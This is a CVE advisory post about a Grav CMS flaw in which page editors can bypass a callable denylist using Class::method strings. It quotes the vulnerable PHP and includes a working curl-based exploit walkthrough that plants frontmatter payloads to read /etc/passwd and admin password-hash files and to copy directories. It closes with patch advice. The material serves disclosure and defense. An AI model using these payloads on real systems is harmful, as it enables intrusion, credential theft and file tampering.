Grav CMS, Blueprint Dynamic-Field Callable Guard Bypass, CVE-2026-69088 (High) -DC-Sep2026-2433

Listen to this Post

Grav CMS versions 2.0.7 through 2.0.10 contain an incomplete callable validation vulnerability in the Blueprint dynamic-field directive handler. The method `Blueprint::isSafeDynamicCall()` at `system/src/Grav/Common/Data/Blueprint.php` (around line 488) is designed to block dangerous callables referenced in a blueprint’s `data-@` directives. However, the denylist check is only applied when the callable string does not contain the double-colon `::` sequence. The condition reads: if (is_string($function) && !str_contains($function, '::') && Utils::isDangerousFunction($function)). Any callable string containing `::` — meaning every fully-qualified `Class::method` static call — completely skips the dangerous-function denylist and is passed directly to `call_user_func_array()` at `Blueprint::dynamicData()` (line 461) and `FlexDirectory::dynamicDataField()` (FlexDirectory.php, line 937). There is no allowlist restricting which classes or methods may be invoked; only the call’s arguments are separately scanned for smuggled dangerous callables, never the target itself. `Utils::isDangerousFunction()` in `system/src/Grav/Common/Utils.php` classifies any string containing a colon or a namespace backslash as dangerous. A qualified `Class::method` string would be rejected if it ever reached that function, but the `!str_contains($function, ‘::’)` condition ensures it never does. This is an incomplete fix of two prior advisories — one addressing page editors executing hidden callables via form-field settings, and another extending the guard to Flex directories. Grav’s permission model separates page-content code execution into a distinct, higher privilege (admin.pages_twig) from plain page editing (admin.pages), so invoking arbitrary static methods from an admin.pages-authored page is a genuine trust-boundary bypass. An account with only page-editing rights can plant a directive in a page’s form-field frontmatter that invokes an arbitrary public static PHP method with attacker-controlled arguments, yielding arbitrary file read disclosed to anonymous visitors and arbitrary file creation under the web-server account.

DailyCVE Form:

Platform: Grav CMS
Version: 2.0.7 through 2.0.10
Vulnerability: Blueprint callable bypass
Severity: High
date: 2026-08-03

Prediction: 2026-08-03

What Undercode Say

Analytics

Inspect the vulnerable condition in Blueprint.php
sed -n '480,500p' system/src/Grav/Common/Data/Blueprint.php
Check the dangerous function classifier
grep -n "isDangerousFunction" system/src/Grav/Common/Utils.php
Trace where qualified callables are dispatched
grep -n "call_user_func_array" system/src/Grav/Common/Data/Blueprint.php
grep -n "call_user_func_array" system/src/Grav/Framework/Flex/FlexDirectory.php
// Vulnerable guard — skips denylist when '::' is present
if (is_string($function) && !str_contains($function, '::') && Utils::isDangerousFunction($function)) {
return false;
}
// Qualified static call passes through unchecked
// $function = 'Grav\Common\Utils::download';
call_user_func_array($function, $arguments);
Malicious frontmatter planted by page editor
forms:
x:
fields:
y:
type: text
data-opts@:
- 'Grav\Common\Utils::download'
- '/etc/passwd'
- false
- 0
- 1024
- mime: 'text/plain'

How Exploit: (Educational Purposes!)

Authenticate as page-editor (admin.pages only)
Step 1: fetch login nonce
curl -c cookies.txt https://grav.example/admin
Step 2: submit login
curl -b cookies.txt -c cookies.txt -X POST https://grav.example/admin \
-d "task=login" -d "username=editor" -d "password=editorpass" -d "nonce=<NONCE>"
Step 3: save a page with malicious data-opts@ directive
curl -b cookies.txt -X POST https://grav.example/admin/pages/myroute \
-d "admin-nonce=<NONCE>" \
-d "data[bash]=forms:%0A x:%0A fields:%0A y:%0A type: text%0A data-opts@:%0A - 'Grav\Common\Utils::download'%0A - '/etc/passwd'%0A - false%0A - 0%0A - 1024%0A - mime: 'text/plain'"
Step 4: read the file anonymously (fresh query string)
curl "https://grav.example/myroute?nocache=$(date +%s)"
Response body contains raw /etc/passwd content
Alternative: read an account hash file
Replace '/etc/passwd' with 'user/accounts/admin.yaml'
Arbitrary file/directory write using Folder::copy
curl -b cookies.txt -X POST https://grav.example/admin/pages/myroute \
-d "admin-nonce=<NONCE>" \
-d "data[bash]=forms:%0A x:%0A fields:%0A y:%0A type: text%0A data-opts@:%0A - 'Grav\Common\Filesystem\Folder::copy'%0A - 'user/pages/existing'%0A - 'user/pages/attacker-controlled'"

Protection: from this CVE

Upgrade to Grav 2.0.11 or later. This release replaces the incomplete denylist approach with a positive allowlist that validates fully-qualified `Class::method` callables before dispatch. If immediate upgrade is not possible, restrict the `admin.pages` role to trusted users only, and monitor page frontmatter for unexpected `data-@` directives containing ::. Do not rely solely on the `Utils::isDangerousFunction()` denylist, as it is bypassed by design in the vulnerable versions.

Impact:

A page editor (admin.pages-only account, not super-admin) can read any server-readable file, disclosed to any anonymous unauthenticated visitor of the crafted page. This includes user/accounts/.yaml, which stores bcrypt password hashes — enabling offline cracking that could lead to full admin-panel compromise if a weak or reused password is recovered. The editor can also create or overwrite files and directories under the web-server account using built-in gadget methods such as Folder::copy; `Folder::move` and `Folder::delete` are equally reachable for destructive tampering. Because the guard permits any public static method, the reachable impact is bounded only by the gadget surface of the loaded codebase.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top